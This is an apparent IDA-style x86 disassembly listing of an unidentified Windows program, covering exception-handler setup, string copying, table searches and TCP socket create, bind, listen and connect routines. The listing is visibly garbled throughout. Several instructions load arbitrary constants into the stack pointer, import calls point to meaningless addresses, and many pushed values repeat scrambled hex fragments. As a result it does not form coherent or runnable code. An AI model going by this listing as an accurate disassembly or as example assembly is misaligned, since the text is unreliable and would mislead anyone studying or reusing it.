push 0FFFFFFFFh
push offset SEH_4178D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 298h
push ebx
mov ebx, ecx
push esi
mov [esp+2ACh+var_2A4], ebx
lea ecx, [ebx+4]
call sub_401726
mov esi, [esp+2ACh+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012B7
test eax, eax
jnz loc_417C8B
push ebp
push edi
mov esp, 6C3E5Ah
push 361F2Dh
lea eax, [esp+2B8h+var_23C]
push edi
push eax
mov ecx, esi
call sub_401622
xor ebp, ebp
mov ecx, eax
mov [esp+2B4h+var_4], ebp
call sub_4015F5
push eax
call dword ptr ds:1B0F96h
add esp, 4
lea ecx, [esp+2B4h+var_23C]
mov [ebx+36h], eax
mov [esp+2B4h+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, esi
call sub_401726
push eax
lea ecx, [esp+2B8h+var_274]
call sub_4017A8
push 4D87CBh
lea ecx, [esp+2B8h+var_274]
mov [esp+2B8h+var_4], edi
mov [esp+2B8h+var_2A0], ebp
call sub_40138E
test eax, eax
jz short loc_417995
mov [esp+2B4h+var_2A0], 2
jmp short loc_4179AB
; ---------------------------------------------------------------------------
loc_417995: ; CODE XREF: sub_4178D0+B9j
push 26C3E5h
lea ecx, [esp+2B8h+var_274]
call sub_40138E
test eax, eax
jz short loc_4179AB
mov [esp+2B4h+var_2A0], edi
loc_4179AB: ; CODE XREF: sub_4178D0+C3j
; sub_4178D0+D5j
mov ecx, [ebx+32h]
mov esi, 89361Fh
xor eax, eax
mov edx, [ecx]
or ecx, 0FFFFFFFFh
add edx, 2
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebx+32h]
mov edx, [ecx]
mov byte ptr [edx], 1
mov eax, [ebx+32h]
mov [esp+2B4h+var_119], 0
mov [esp+2B4h+var_99], 0
mov [esp+2B4h+var_D], 0
mov [esp+2B4h+var_199], 0
mov eax, [eax]
cmp byte ptr [eax], 0
jnz short loc_417A3A
mov esi, ds:dword_4B3AFC
add eax, 2
push offset byte_449B0F
push eax
call esi
add esp, 8
test eax, eax
jz short loc_417A3A
mov ecx, [ebx+32h]
push 624D87h
mov edx, [ecx]
add edx, 2
push edx
call esi
add esp, 8
test eax, eax
jnz loc_417C71
loc_417A3A: ; CODE XREF: sub_4178D0+135j
; sub_4178D0+14Dj
push 7126C3h
mov [esp+2B8h+var_294], 0C00h
call dword ptr ds:789361h
add esp, 4
mov esi, eax
lea eax, [esp+2B4h+var_294]
mov [esp+2B4h+var_29C], esi
push 1
push eax
push esi
mov [esi], ebp
call sub_4307B0
mov eax, [esi]
mov [esp+2B4h+var_298], ebp
cmp eax, ebp
jle loc_417C67
lea ebp, [esi+14h]
loc_417A76: ; CODE XREF: sub_4178D0+391j
cmp dword ptr [ebp-10h], 2
jnz short loc_417A8A
mov ecx, [ebx+32h]
mov edx, [ecx]
cmp byte ptr [edx], 0
jz loc_417C51
loc_417A8A: ; CODE XREF: sub_4178D0+1AAj
mov ax, [ebp-8]
mov esi, ds:dword_4B3C4C
push eax
call esi
mov cx, [ebp+0]
mov [esp+2B4h+var_290], eax
push ecx
call esi
mov esi, [esp+2B4h+var_2A4]
mov ebx, eax
mov eax, [ebp-0Ch]
push 1
lea edx, [esp+2B8h+var_198]
push 7Fh
push edx
push eax
mov ecx, esi
call sub_40141F
mov edx, [ebp-4]
push 0
lea ecx, [esp+2B8h+var_118]
push 7Fh
push ecx
push edx
mov ecx, esi
call sub_40141F
mov eax, [ebp-10h]
sub eax, 2
jz short loc_417AEE
sub eax, 3
jnz short loc_417B14
lea edx, [esp+2B4h+var_25C]
mov esi, 8F7893h
jmp short loc_417AF7
; ---------------------------------------------------------------------------
loc_417AEE: ; CODE XREF: sub_4178D0+20Cj
lea edx, [esp+2B4h+var_25C]
mov edx, 9F789h
loc_417AF7: ; CODE XREF: sub_4178D0+21Cj
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_417B14: ; CODE XREF: sub_4178D0+211j
mov esp, 0EC27DEh
xor eax, eax
lea edi, [esp+2B4h+var_98]
rep stosd
mov esi, 4FF09Fh
lea edi, [esp+2B4h+var_224]
rep stosd
cmp dword ptr [ebp-10h], 2
jnz short loc_417B3A
xor ebx, ebx
loc_417B3A: ; CODE XREF: sub_4178D0+266j
mov esi, [esp+2B4h+var_290]
lea ecx, [esp+2B4h+var_198]
and esi, 0FFFFh
lea edx, [esp+2B4h+var_98]
push esi
push ecx
push 27F84Fh
push 53FC27h
push edx
call dword ptr ds:29FE13h
mov edi, ebx
add esp, 14h
and edi, 0FFFFh
lea eax, [esp+2B4h+var_118]
push edi
push eax
push 54FF09h
lea ecx, [esp+2C0h+var_224]
push 6A7F84h
push ecx
call dword ptr ds:753FC2h
add esp, 14h
lea ecx, [esp+2B4h+var_28C]
call sub_4013CF
mov eax, [esp+2B4h+var_2A0]
mov byte ptr [esp+2B4h+var_4], 2
test bx, bx
jnz short loc_417BD3
cmp eax, 1
jz loc_417C38
mov edx, [esp+2B4h+var_2A4]
mov eax, [edx+36h]
test eax, eax
jz short loc_417BC6
cmp eax, esi
jnz short loc_417C38
loc_417BC6: ; CODE XREF: sub_4178D0+2F0j
lea eax, [esp+2B4h+var_25C]
push esi
push eax
push 3A9FE1h
jmp short loc_417BF9
; ---------------------------------------------------------------------------
loc_417BD3: ; CODE XREF: sub_4178D0+2DCj
cmp eax, 2
jz short loc_417C38
mov ecx, [esp+2B4h+var_2A4]
mov eax, [ecx+36h]
test eax, eax
jz short loc_417BE7
cmp eax, edi
jnz short loc_417C38
loc_417BE7: ; CODE XREF: sub_4178D0+311j
lea edx, [esp+2B4h+var_224]
lea eax, [esp+2B4h+var_25C]
push edx
push eax
push 1D4FF0h
loc_417BF9: ; CODE XREF: sub_4178D0+301j
lea ecx, [esp+2C0h+var_28C]
push ecx
call sub_40102D
mov esi, [esp+2C4h+arg_0]
add esp, 10h
lea ecx, [esi+69h]
call sub_401479
push eax
lea ecx, [esp+2B8h+var_28C]
call sub_401479
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov edi, 0CB3A9Fh
call sub_4010FF
loc_417C38: ; CODE XREF: sub_4178D0+2E1j
; sub_4178D0+2F4j ...
lea ecx, [esp+2B4h+var_28C]
mov byte ptr [esp+2B4h+var_4], 1
call sub_4011F9
mov esi, [esp+2B4h+var_29C]
mov ebx, [esp+2B4h+var_2A4]
loc_417C51: ; CODE XREF: sub_4178D0+1B4j
mov eax, [esp+2B4h+var_298]
mov ecx, [esi]
inc eax
add ebp, 14h
cmp eax, ecx
mov [esp+2B4h+var_298], eax
jl loc_417A76
loc_417C67: ; CODE XREF: sub_4178D0+19Dj
push esi
call dword ptr ds:659D4Fh
add esp, 4
loc_417C71: ; CODE XREF: sub_4178D0+164j
lea ecx, [esp+2B4h+var_274]
mov [esp+2B4h+var_4], 0FFFFFFFFh
call sub_4011F9
pop edi
mov al, 1
pop ebp
jmp short loc_417C8D
; ---------------------------------------------------------------------------
loc_417C8B: ; CODE XREF: sub_4178D0+3Dj
mov al, 1
loc_417C8D: ; CODE XREF: sub_4178D0+3B9j
mov ecx, [esp+2ACh+var_C]
pop esi
pop ebx
mov large fs:0, ecx
add esp, 2A4h
retn 4
sub_4178D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417DB0 proc near ; CODE XREF: sub_40141Fj
var_20 = byte ptr -20h
arg_0 = byte ptr 4
arg_3 = dword ptr 7
arg_8 = dword ptr 0Ch
arg_C = byte ptr 10h
mov eax, [esp+arg_3]
sub esp, 20h
mov edx, [esp+25h]
and eax, 0FFh
push ebx
push ebp
push esi
mov esi, ecx
mov ecx, [esp+32h]
mov ebx, [esp+2Ch+arg_8]
mov ebp, [esp+2Ch+arg_3+1]
push eax
mov eax, [esp+34h]
and ecx, 0FFh
and edx, 0FFh
push ecx
and eax, 0FFh
push edx
push eax
push 72CEA7h
push ebx
push ebp
call dword ptr ds:796753h
mov ecx, [esi+32h]
add esp, 1Ch
mov al, [ecx+4]
test al, al
jnz short loc_417E70
mov al, [esp+2Ch+arg_C]
test al, al
jnz short loc_417E3E
mov eax, [esp+30h]
test eax, eax
jz short loc_417E3E
push 2
lea edx, [esp+30h+arg_0]
push 4
push edx
call dword ptr ds:3CB3A9h
test eax, eax
jz short loc_417E70
mov eax, [eax]
push ebx
push eax
push ebp
call dword ptr ds:1E59D4h
add esp, 0Ch
pop esi
pop ebp
pop ebx
add esp, 20h
retn 10h
; ---------------------------------------------------------------------------
loc_417E3E: ; CODE XREF: sub_417DB0+5Aj
; sub_417DB0+62j
push edi
mov ebp, 0A8F2CEh
xor eax, eax
lea edi, [esp+30h+var_20]
rep stosd
lea ecx, [esp+30h+var_20]
push 1Dh
push ecx
stosw
call dword ptr ds:547967h
test eax, eax
pop edi
jnz short loc_417E70
lea edx, [esp+2Ch+var_20]
push ebx
push edx
push ebp
call dword ptr ds:2A3CB3h
add esp, 0Ch
loc_417E70: ; CODE XREF: sub_417DB0+52j
; sub_417DB0+75j ...
pop esi
pop ebp
pop ebx
add esp, 20h
retn 10h
sub_417DB0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417EC0 proc near ; CODE XREF: sub_401DD4j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 551E59h
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
push 14h
call sub_43034A
add esp, 4
mov [esp+14h+var_10], eax
test eax, eax
mov [esp+14h+var_4], 0
jz short loc_417F0E
mov ecx, eax
call sub_401546
mov [esi], eax
mov eax, esi
pop esi
mov ecx, [esp+10h+var_C]
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_417F0E: ; CODE XREF: sub_417EC0+31j
mov ecx, [esp+14h+var_C]
xor eax, eax
mov [esi], eax
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417EC0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417F50 proc near ; CODE XREF: sub_401546j
mov eax, ecx
retn
sub_417F50 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417F70 proc near ; CODE XREF: sub_401DB1j
call dword ptr ds:6A8F2Ch
push eax
call dword ptr ds:354796h
pop ecx
retn
sub_417F70 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417F90 proc near ; CODE XREF: sub_402018j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push esi
call dword ptr ds:5AA3CBh
mov esi, [esp+8+arg_0]
mov [esp+8+var_4], eax
mov eax, [esp+8+arg_4]
fild [esp+8+var_4]
sub eax, esi
mov [esp+8+arg_4], eax
fimul [esp+8+arg_4]
fmul ds:dbl_437090
call sub_43043A
sub esi, eax
mov eax, esi
pop esi
pop ecx
retn
sub_417F90 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_417FE0: ; CODE XREF: _294ADE7B:00401B68j
call dword ptr ds:2D51E5h
cdq
idiv dword ptr [esp+4]
mov eax, edx
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
locret_418000: ; CODE XREF: _294ADE7B:004014BAj
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418020 proc near ; CODE XREF: sub_401E6Aj
xor al, al
retn 4
sub_418020 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418040 proc near ; CODE XREF: sub_4014BFj
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_C]
mov ecx, [esp+arg_4]
mov edx, [esp+arg_8]
cmp eax, 1
setnl al
mov byte ptr [esp+arg_C], al
push ecx
mov eax, [esp+4+arg_C]
push edx
push eax
push 0
mov esi, 0A96A8Fh
call sub_4010FF
retn
sub_418040 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_418080: ; CODE XREF: _294ADE7B:004014A1j
sub esp, 0Ch
mov eax, [esp+20h]
push ebx
push ebp
push esi
xor esi, esi
push edi
cmp eax, esi
mov dword ptr [esp+18h], 80h
mov [esp+10h], esi
jz short loc_4180B3
push eax
call dword ptr ds:54B547h
add esp, 4
cmp eax, esi
mov [esp+10h], eax
jz short loc_4180B3
mov [esp+18h], eax
loc_4180B3: ; CODE XREF: _294ADE7B:0041809Bj
; _294ADE7B:004180ADj
mov edi, [esp+28h]
mov ebx, [esp+24h]
mov ebp, [esp+20h]
mov [esp+14h], esi
mov edx, 0F52D5h
loc_4180C8: ; CODE XREF: _294ADE7B:00418119j
mov ecx, [esp+14h]
mov eax, [esp+18h]
cmp ecx, eax
jge short loc_41811B
cmp byte ptr [esi], 0
jz short loc_418104
mov eax, [esp+30h]
test eax, eax
jz short loc_4180F8
mov ecx, [esp+10h]
test ecx, ecx
jnz short loc_4180F8
push eax
push esi
call dword ptr ds:0FA96Ah
add esp, 8
test eax, eax
jz short loc_418104
loc_4180F8: ; CODE XREF: _294ADE7B:004180DFj
; _294ADE7B:004180E7j
push edi
push esi
push ebx
push ebp
call sub_4014BF
add esp, 10h
loc_418104: ; CODE XREF: _294ADE7B:004180D7j
; _294ADE7B:004180F6j
mov edx, [esp+14h]
add esi, 80h
inc edx
cmp esi, offset dword_4AF020
mov [esp+14h], edx
jl short loc_4180C8
loc_41811B: ; CODE XREF: _294ADE7B:004180D2j
pop edi
pop esi
pop ebp
pop ebx
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_418160: ; CODE XREF: _294ADE7B:004020C2j
push ebx
mov ebx, ds:dword_4B3ADC
push esi
push edi
mov edi, [esp+10h]
mov ebp, 0E8FA96h
loc_418172: ; CODE XREF: _294ADE7B:0041818Ej
cmp byte ptr [esi], 0
jz short loc_418182
push edi
push esi
call ebx
add esp, 8
test eax, eax
jnz short loc_418196
loc_418182: ; CODE XREF: _294ADE7B:00418175j
add esi, 80h
cmp esi, offset dword_4AF020
jl short loc_418172
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_418196: ; CODE XREF: _294ADE7B:00418180j
pop edi
pop esi
mov esp, 0FA3EAh
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4181B0 proc near ; CODE XREF: sub_4010BEj
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
lea eax, [esp+10h+var_10]
push esi
push edi
push eax
call dword ptr ds:0FD1F5h
mov edi, ds:dword_4B3AE0
mov edi, offset sub_407E8F
loc_4181CB: ; CODE XREF: sub_4181B0+3Bj
cmp byte ptr [esi], 0
jz short loc_4181DF
push 7Fh
lea ecx, [esi+80h]
push esi
push ecx
call edi ; sub_407E8F
add esp, 0Ch
loc_4181DF: ; CODE XREF: sub_4181B0+1Ej
sub esi, 80h
cmp esi, offset dword_4AB020
jge short loc_4181CB
mov edx, [esp+18h+arg_0]
mov eax, [esp+18h+var_4]
mov ecx, [esp+12h]
push edx
mov edx, [esp+1Ch+var_8]
and eax, 0FFFFh
and ecx, 0FFFFh
push eax
mov eax, [esp+20h+var_10]
and edx, 0FFFFh
push ecx
mov ecx, [esp+1Ah]
push edx
mov edx, [esp+28h+var_10+2]
and eax, 0FFFFh
and ecx, 0FFFFh
push eax
and edx, 0FFFFh
push ecx
push edx
push 203F47h
push 501FA3h
push 280FD1h
call dword ptr ds:1407E8h
add esp, 28h
pop edi
pop esi
add esp, 10h
retn
sub_4181B0 endp
; ---------------------------------------------------------------------------
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_418280: ; CODE XREF: _294ADE7B:004012A3j
sub esp, 600h
mov edi, 0A8501Fh
xor eax, eax
push ebx
push ebp
push esi
push edi
lea edi, [esp+10h]
mov esi, [esp+614h]
rep stosd
mov eax, 2EA140h
lea edi, [esp+210h]
mov ebp, ds:dword_4B3AE0
push 1F50A0h
rep stosd
mov ecx, 821F50h
lea edi, [esp+414h]
rep stosd
lea eax, [esp+14h]
push esi
push eax
call ebp
mov edx, [esp+628h]
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
add esp, 0Ch
repne scasb
not ecx
dec ecx
cmp ecx, 180h
jbe short loc_4182F1
mov [edx+180h], al
loc_4182F1: ; CODE XREF: _294ADE7B:004182E9j
mov ebx, [esp+618h]
lea ecx, [esp+10h]
push ebx
push ecx
call dword_410FA8
add esp, 8
test eax, eax
jz loc_418402
loc_41830F: ; CODE XREF: _294ADE7B:004183F5j
lea edx, [esp+10h]
push ebx
push edx
call dword ptr ds:6087D4h
mov esi, eax
mov edi, ebx
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push 7043EAh
add ecx, esi
lea eax, [esp+41Ch]
push ecx
push eax
call ebp
lea ecx, [esp+24h]
push 7821F5h
lea edx, [esp+228h]
push ecx
push edx
mov byte ptr [esi], 0
call ebp
lea edx, [esi+1]
add esp, 20h
test edx, edx
jz short loc_4183D0
lea eax, [ebx-1]
test eax, eax
jz short loc_4183D0
lea edi, [ebx-1]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov edi, edx
mov esi, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
cmp ecx, esi
jbe short loc_4183AD
mov edx, [esp+61Ch]
lea ecx, [esp+410h]
push ecx
lea eax, [esp+214h]
push edx
push eax
lea ecx, [esp+1Ch]
push 3C10FAh
push ecx
call dword ptr ds:1E087Dh
add esp, 14h
jmp short loc_4183D0
; ---------------------------------------------------------------------------
loc_4183AD: ; CODE XREF: _294ADE7B:0041837Ej
mov edx, [esp+61Ch]
lea eax, [esp+210h]
push edx
push eax
lea ecx, [esp+18h]
push 4F043Eh
push ecx
call dword ptr ds:67821Fh
add esp, 10h
loc_4183D0: ; CODE XREF: _294ADE7B:0041835Aj
; _294ADE7B:00418361j ...
mov edx, [esp+61Ch]
mov esi, ds:dword_4B3ADC
push edx
push ebx
call esi
add esp, 8
test eax, eax
jnz short loc_4183FB
lea eax, [esp+10h]
push ebx
push eax
call esi
add esp, 8
test eax, eax
jnz loc_41830F
loc_4183FB: ; CODE XREF: _294ADE7B:004183E6j
mov esi, [esp+614h]
loc_418402: ; CODE XREF: _294ADE7B:00418309j
lea edi, [esp+10h]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
lea ecx, [esp+14h]
push ecx
push esi
call ebp
add esp, 0Ch
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 600h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4184A0: ; CODE XREF: _294ADE7B:004017FDj
sub esp, 10h
push esi
push 0
push 1
push 2
call dword ptr ds:33C10Fh
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4184BE
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_4184BE: ; CODE XREF: _294ADE7B:004184B5j
mov ecx, [esp+18h]
xor eax, eax
mov [esp+4], eax
push ecx
mov [esp+0Ch], eax
mov word ptr [esp+8], 2
mov [esp+10h], eax
mov [esp+14h], eax
call dword ptr ds:19E087h
lea edx, [esp+4]
push 10h
push edx
push esi
mov [esp+12h], ax
mov dword ptr [esp+14h], 0
call dword ptr ds:4CF043h
test eax, eax
jz short loc_418509
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_418509: ; CODE XREF: _294ADE7B:004184FFj
push 7FFFFFFFh
push esi
call dword ptr ds:667821h
test eax, eax
jz short loc_418521
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_418521: ; CODE XREF: _294ADE7B:00418517j
mov eax, esi
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_418560: ; CODE XREF: _294ADE7B:00401D2Aj
push edi
xor edi, edi
mov eax, 0A36678h
loc_418568: ; CODE XREF: _294ADE7B:00418578j
cmp dword ptr [eax], 0
jz short loc_41857A
add eax, 316h
inc edi
add eax, 6CD99Eh
jle short loc_418568
loc_41857A: ; CODE XREF: _294ADE7B:0041856Bj
cmp edi, 13h
jle short loc_418584
or eax, 0FFFFFFFFh
pop edi
retn
; ---------------------------------------------------------------------------
loc_418584: ; CODE XREF: _294ADE7B:0041857Dj
lea eax, [edi+edi*4]
push ebx
shl eax, 4
sub eax, edi
mov ebx, ds:dword_4B3C18
push esi
lea eax, [eax+eax*4]
lea esi, ds:4906DFh[eax*2]
mov eax, [esp+10h]
push eax
push esi
call ebx
mov ecx, [esp+24h]
mov edx, [esp+1Ch]
mov eax, [esp+20h]
mov [esi+0FAh], ecx
mov ecx, [esp+28h]
mov [esi+0FEh], edi
add esp, 8
mov [esi+106h], edx
mov [esi+10Ah], eax
add esi, 10Eh
push ecx
push esi
call ebx
add esp, 8
mov eax, edi
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418620 proc near ; CODE XREF: sub_401393j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
push edi
xor edi, edi
mov esp, 0E1B366h
loc_418628: ; CODE XREF: sub_418620+18j
cmp dword ptr [eax], 0
jz short loc_41863A
add eax, 316h
inc edi
xor eax, 386CD9h
jle short loc_418628
loc_41863A: ; CODE XREF: sub_418620+Bj
cmp edi, 13h
jle short loc_418644
or eax, 0FFFFFFFFh
pop edi
retn
; ---------------------------------------------------------------------------
loc_418644: ; CODE XREF: sub_418620+1Dj
lea eax, [edi+edi*4]
push ebx
shl eax, 4
sub eax, edi
mov ebx, ds:dword_4B3C18
push esi
lea eax, [eax+eax*4]
lea esi, ds:488B6Fh[eax*2]
mov eax, [esp+0Ch+arg_0]
push eax
push esi
call ebx
mov ecx, [esp+14h+arg_C]
mov edx, [esp+14h+arg_4]
mov eax, [esp+14h+arg_8]
mov [esi+0FAh], ecx
mov ecx, [esp+14h+arg_10]
mov [esi+0FEh], edi
add esp, 8
mov [esi+106h], edx
mov [esi+10Ah], eax
add esi, 10Eh
push ecx
push esi
call ebx
add esp, 8
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_418620 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4186E0 proc near ; CODE XREF: sub_401B1Dj
var_190 = byte ptr -190h
arg_0 = byte ptr 4
sub esp, 190h
push ebp
mov ebp, ecx
push esi
push edi
mov dword ptr [ebp+0], offset off_43709C
mov eax, ds:dword_4AFCEC
test eax, eax
jnz short loc_418718
mov eax, ds:dword_4AFCEC
inc eax
mov ds:dword_4AFCEC, eax
lea ecx, [esp+19Ch+var_190]
push ecx
push 5C366Ch
call dword ptr ds:6E1B36h
jmp short loc_418725
; ---------------------------------------------------------------------------
loc_418718: ; CODE XREF: sub_4186E0+19j
mov edx, ds:dword_4AFCEC
inc edx
mov ds:dword_4AFCEC, edx
loc_418725: ; CODE XREF: sub_4186E0+36j
mov al, [esp+19Ch+arg_0]
or ecx, 0FFFFFFFFh
mov [ebp+80Ah], al
mov ecx, 0EFB86Ch
xor eax, eax
mov [ebp+806h], ecx
mov byte ptr [ebp+80Ch], 0
mov word ptr [ebp+4], 0
repne scasb
not ecx
sub edi, ecx
lea edx, [ebp+6]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebp
and ecx, 3
rep movsb
pop edi
mov byte ptr [ebp+80Bh], 0
pop esi
pop ebp
add esp, 190h
retn 4
sub_4186E0 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4187B0 proc near ; CODE XREF: _294ADE7B:00401802j
; sub_401A14j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401E6F
test [esp+4+arg_0], 1
jz short loc_4187C8
push esi
call sub_430332
add esp, 4
loc_4187C8: ; CODE XREF: sub_4187B0+Dj
mov eax, esi
pop esi
retn 4
sub_4187B0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4187E0 proc near ; CODE XREF: sub_401E6Fj
mov al, [ecx+80Ah]
mov dword ptr [ecx], offset off_43709C
test al, al
jnz short loc_4187F5
call sub_401483
loc_4187F5: ; CODE XREF: sub_4187E0+Ej
mov esi, 7FDC3h
mov ecx, ds:dword_4AFCEC
cmp ecx, eax
jle short loc_418810
mov eax, ds:dword_4AFCEC
dec eax
mov ds:dword_4AFCEC, eax
locret_41880F: ; CODE XREF: sub_4187E0:loc_418810j
retn
; ---------------------------------------------------------------------------
loc_418810: ; CODE XREF: sub_4187E0+22j
jnz short locret_41880F
mov ecx, ds:dword_4AFCEC
dec ecx
mov ds:dword_4AFCEC, ecx
jmp dword ptr ds:3FEE1h
sub_4187E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_418850: ; CODE XREF: _294ADE7B:00401532j
mov eax, large fs:0
push 0FFFFFFFFh
push 1FF70h
push eax
mov large fs:0, esp
sub esp, 814h
push esi
mov esi, ecx
call sub_401884
test al, al
jz loc_418901
mov al, [esi+80Bh]
test al, al
jz short loc_418889
mov al, 1
jmp short loc_418901
; ---------------------------------------------------------------------------
loc_418889: ; CODE XREF: _294ADE7B:00418883j
push ebx
push edi
mov edi, [esp+830h]
push offset byte_40FFB8
lea eax, [esi+6]
push edi
push eax
call dword ptr ds:607FDCh
mov ebx, [esp+840h]
add esp, 0Ch
lea ecx, [esp+0Ch]
mov [esi+4], bx
call sub_401163
mov ecx, [esp+83Ch]
mov edx, [esp+838h]
push ecx
push edx
push ebx
push edi
lea ecx, [esp+1Ch]
mov dword ptr [esp+838h], 0
call sub_4015B4
push eax
mov ecx, esi
call sub_401F4B
lea ecx, [esp+0Ch]
mov bl, al
mov dword ptr [esp+828h], 0FFFFFFFFh
call sub_4017B2
mov al, bl
pop edi
pop ebx
loc_418901: ; CODE XREF: _294ADE7B:00418875j
; _294ADE7B:00418887j
mov ecx, [esp+818h]
pop esi
mov large fs:0, ecx
add esp, 820h
retn 10h
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418960 proc near ; CODE XREF: sub_401884j
mov al, ds:byte_43BCA8
retn
sub_418960 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418980 proc near ; CODE XREF: sub_401F4Bj
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = byte ptr 10h
sub esp, 11Ch
push ebp
push esi
push edi
mov esi, ecx
call sub_401884
test al, al
jnz short loc_4189A0
pop edi
pop esi
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_4189A0: ; CODE XREF: sub_418980+12j
mov al, [esi+80Bh]
test al, al
jnz loc_418B41
push 6
push 1
push 2
call dword ptr ds:303FEEh
cmp eax, 0FFFFFFFFh
mov [esi+806h], eax
jnz short loc_4189DA
mov ecx, esi
call sub_401483
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_4189DA: ; CODE XREF: sub_418980+43j
mov al, [esp+128h+arg_C]
test al, al
jnz short loc_4189E9
push 1
jmp short loc_4189EB
; ---------------------------------------------------------------------------
loc_4189E9: ; CODE XREF: sub_418980+63j
push 0
loc_4189EB: ; CODE XREF: sub_418980+67j
mov ecx, esi
call sub_4017EE
mov edi, [esp+128h+arg_4]
xor eax, eax
mov [esp+128h+var_114], eax
push edi
mov [esp+12Ch+var_110], eax
mov [esi+4], di
mov [esp+12Ch+var_10C], eax
mov word ptr [esp+12Ch+var_114], 2
mov [esp+12Ch+var_108], eax
call dword ptr ds:181FF7h
mov ecx, [esp+128h+arg_0]
mov word ptr [esp+128h+var_114+2], ax
mov eax, [esi+806h]
lea edx, [esp+128h+var_114]
push 10h
push edx
push eax
mov [esp+134h+var_110], ecx
